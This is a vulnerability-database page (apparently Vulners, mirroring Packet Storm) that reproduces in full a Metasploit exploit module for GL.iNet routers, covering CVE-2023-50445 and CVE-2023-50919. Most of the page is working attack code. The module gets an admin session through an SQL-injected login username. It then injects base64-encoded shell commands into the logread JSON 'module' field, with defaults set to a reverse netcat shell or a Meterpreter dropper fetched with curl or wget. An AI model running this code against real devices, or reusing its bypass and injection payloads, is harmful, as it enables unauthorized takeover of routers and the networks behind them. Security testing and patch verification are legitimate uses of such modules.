Lucene search

K

GL.iNet Unauthenticated Remote Command Execution

πŸ—“οΈΒ 24 Jan 2024Β 00:00:00Reported byΒ h00die-gr3y, DZONERZY, metasploit.comTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstormsecurity.comπŸ‘Β 322Β Views

GL.iNet Unauthenticated Remote Command Execution via logread module. Injection vulnerability in GL.iNet network products allows attacker to execute shell commands via JSON. Supports post-authentication using Admin-Token cookie. Vulnerable products: A1300, AX1800, MT3000, MT2500A, MT6000, MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300, E750, E750V2, MV1000, X3000, XE3000, SFT1200. CVE-2023-50445 and CVE-2023-50919.

Show more

5 of 5AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Related
Code
ReporterTitlePublishedViews
Family
0day.today
GL.iNet Unauthenticated Remote Command Execution Exploit
24 Jan 202400:00
–zdt
Metasploit
GL.iNet Unauthenticated Remote Command Execution via the logread module.
31 Dec 202310:19
–metasploit
Prion
Authentication flaw
12 Jan 202408:15
–prion
Prion
Sql injection
28 Dec 202305:15
–prion
CVE
CVE-2023-50919
12 Jan 202408:15
–cve
CVE
CVE-2023-50445
28 Dec 202305:15
–cve
NVD
CVE-2023-50445
28 Dec 202305:15
–nvd
NVD
CVE-2023-50919
12 Jan 202408:15
–nvd
Vulnrichment
CVE-2023-50445
28 Dec 202300:00
–vulnrichment
Circl
CVE-2023-50445
6 Feb 202503:13
–circl
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'digest/md5'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'GL.iNet Unauthenticated Remote Command Execution via the logread module.',  
'Description' => %q{  
A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker  
to inject and execute arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log`  
interface in the `logread` module.  
This exploit requires post-authentication using the `Admin-Token` cookie/sessionID (`SID`), typically stolen  
by the attacker.  
However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication  
through a `Lua` string pattern matching and SQL injection vulnerability. The `Admin-Token` cookie/`SID` can be  
retrieved without knowing a valid username and password.  
  
The following GL.iNet network products are vulnerable:  
- A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0;  
- MT6000: v4.5.0 - v4.5.3;  
- MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7;  
- E750/E750V2, MV1000: v4.3.8;  
- X3000: v4.0.0 - v4.4.2;  
- XE3000: v4.0.0 - v4.4.3;  
- SFT1200: v4.3.6;  
- and potentially others (just try ;-)  
  
NOTE: Staged Meterpreter payloads might core dump on the target, so use stage-less Meterpreter payloads  
when using the Linux Dropper target.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor  
'Unknown', # Discovery of the vulnerability CVE-2023-50445  
'DZONERZY' # Discovery of the vulnerability CVE-2023-50919  
  
],  
'References' => [  
['CVE', '2023-50445'],  
['CVE', '2023-50919'],  
['URL', 'https://attackerkb.com/topics/3LmJ0d7rzC/cve-2023-50445'],  
['URL', 'https://attackerkb.com/topics/LdqSuqHKOj/cve-2023-50919'],  
['URL', 'https://libdzonerzy.so/articles/from-zero-to-botnet-glinet.html'],  
['URL', 'https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Using%20Shell%20Metacharacter%20Injection%20via%20API.md']  
],  
'DisclosureDate' => '2023-12-10',  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE, ARCH_AARCH64],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_netcat'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE, ARCH_AARCH64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => ['curl', 'wget', 'echo', 'printf', 'bourne'],  
'Linemax' => 900,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options([  
OptString.new('SID', [false, 'Session ID'])  
])  
end  
  
def vuln_version?  
@glinet = { 'model' => nil, 'firmware' => nil, 'arch' => nil }  
# check first with version 4.x api call  
post_data = {  
jsonrpc: '2.0',  
id: rand(1000..9999),  
method: 'call',  
params: [  
'',  
'ui',  
'check_initialized',  
{}  
]  
}.to_json  
  
res = send_request_cgi({  
'method' => 'POST',  
'ctype' => 'text/json',  
'uri' => normalize_uri(target_uri.path, 'rpc'),  
'data' => post_data.to_s  
})  
if res && res.code == 200 && res.body.include?('result')  
res_json = res.get_json_document  
unless res_json.blank?  
@glinet['model'] = res_json['result']['model']  
@glinet['firmware'] = res_json['result']['firmware_version']  
end  
else  
# check with version 3.x api call. These versions are NOT vulnerable  
res = send_request_cgi({  
'method' => 'GET',  
'ctype' => 'application/x-www-form-urlencoded',  
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api', 'router', 'hello')  
})  
if res && res.code == 200 && res.body.include?('model') && res.body.include?('version')  
res_json = res.get_json_document  
unless res_json.blank?  
@glinet['model'] = res_json['model']  
@glinet['firmware'] = res_json['version']  
end  
end  
end  
  
# check for the vulnerable models and firmware versions  
case @glinet['model']  
when 'sft1200'  
@glinet['arch'] = 'mipsle'  
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.6')  
when 'ar750', 'ar750s', 'ar300m', 'ar300m16'  
@glinet['arch'] = 'mipsbe'  
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')  
when 'mt300n-v2', 'mt1300'  
@glinet['arch'] = 'mipsle'  
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')  
when 'ap1300', 'b1300'  
@glinet['arch'] = 'armle'  
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')  
when 'e750', 'e750v2'  
@glinet['arch'] = 'mipsbe'  
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.8')  
when 'mv1000'  
@glinet['arch'] = 'armle'  
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.8')  
when 'ax1800', 'axt1800', 'a1300'  
@glinet['arch'] = 'armle'  
return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.5.0')  
when 'mt2500', 'mt2500a', 'mt3000'  
@glinet['arch'] = 'aarch64'  
return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.5.0')  
when 'mt6000'  
@glinet['arch'] = 'aarch64'  
return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.5.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.5.3')  
when 'x3000'  
@glinet['arch'] = 'aarch64'  
return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.4.2')  
when 'xe3000'  
@glinet['arch'] = 'aarch64'  
return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.4.3')  
end  
@glinet['arch'] = 'n/a'  
return false  
end  
  
def auth_bypass  
# Check if datastore['SID'] is set  
return datastore['SID'] unless datastore['SID'].blank?  
  
# Exploit CVE-2023-50919 to retrieve the SID without valid username and password.  
# Send an RPC request calling the challenge method, which will return a random nonce,  
# the selected root user’s salt, and the crypt’s algorithm to hash the password.  
post_data = {  
jsonrpc: '2.0',  
id: rand(1000..9999),  
method: 'challenge',  
params: {  
username: 'root'  
}  
}.to_json  
  
res = send_request_cgi({  
'method' => 'POST',  
'ctype' => 'text/json',  
'uri' => normalize_uri(target_uri.path, 'rpc'),  
'data' => post_data.to_s  
})  
if res && res.code == 200 && res.body.include?('nonce')  
res_json = res.get_json_document  
unless res_json.blank?  
nonce = res_json['result']['nonce']  
end  
else  
fail_with(Failure::NotFound, 'Getting the random nonce failed.')  
end  
# Perform REGEX to lookup uid field from /etc/shadow to be used as password with manipulated root username  
# Use the SQL injection part to lookup the ACLs for root stored in sqlite db  
# Create the password hash which is the md5 of the concatenation of the user, password, and the retrieved nonce  
username = "roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+"  
pw = '0'  
hash = Digest::MD5.hexdigest("#{username}:#{pw}:#{nonce}")  
  
# Login with the password hash and obtain the SessionID (SID)  
post_data = {  
jsonrpc: '2.0',  
id: rand(1000..9999),  
method: 'login',  
params: {  
username: username.to_s,  
hash: hash.to_s  
}  
}.to_json  
  
res = send_request_cgi({  
'method' => 'POST',  
'ctype' => 'text/json',  
'uri' => normalize_uri(target_uri.path, 'rpc'),  
'data' => post_data.to_s  
})  
if res && res.code == 200 && res.body.include?('sid')  
res_json = res.get_json_document  
unless res_json.blank?  
sid = res_json['result']['sid']  
end  
else  
fail_with(Failure::NotFound, 'Retrieving the SessionID (SID) failed.')  
end  
return sid  
end  
  
def execute_command(cmd, _opts = {})  
payload = Base64.strict_encode64(cmd)  
cmd = "echo #{payload}|openssl enc -base64 -d -A|sh"  
post_data = {  
jsonrpc: '2.0',  
id: rand(1000..9999),  
method: 'call',  
params: [  
@sid.to_s,  
'logread',  
'get_system_log',  
{  
lines: '',  
module: "|#{cmd}"  
}  
]  
}.to_json  
  
return send_request_cgi({  
'method' => 'POST',  
'ctype' => 'text/json',  
'cookie' => "Admin-Token=#{@sid}",  
'uri' => normalize_uri(target_uri.path, 'rpc'),  
'data' => post_data.to_s  
})  
end  
  
def check  
print_status("Checking if #{peer} can be exploited.")  
# Check if target is a GL.iNet network device and the firmware version is vulnerable  
return CheckCode::Vulnerable("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if vuln_version?  
  
unless @glinet['firmware'].nil?  
# GL.iNet network devices with firmware version 3.x that are safe from this exploit  
return CheckCode::Safe("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.0.0')  
  
# GL.iNet network devices with a firmware version 4.x or higher which still could be vulnerable unless the architecture is not available (n/a)  
if @glinet['arch'] != 'n/a' && (Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0'))  
return CheckCode::Safe("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}")  
end  
return CheckCode::Detected("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0')  
end  
# No GL.iNet network device or not reachable  
CheckCode::Unknown('No GL.iNet network device or device is not responding.')  
end  
  
def exploit  
@sid = auth_bypass  
print_status("SID: #{@sid}")  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
# Don't check the response here since the server won't respond  
# if the payload is successfully executed.  
execute_cmdstager({ linemax: target.opts['Linemax'] })  
end  
end  
end  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. ContactΒ us for a demo andΒ discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo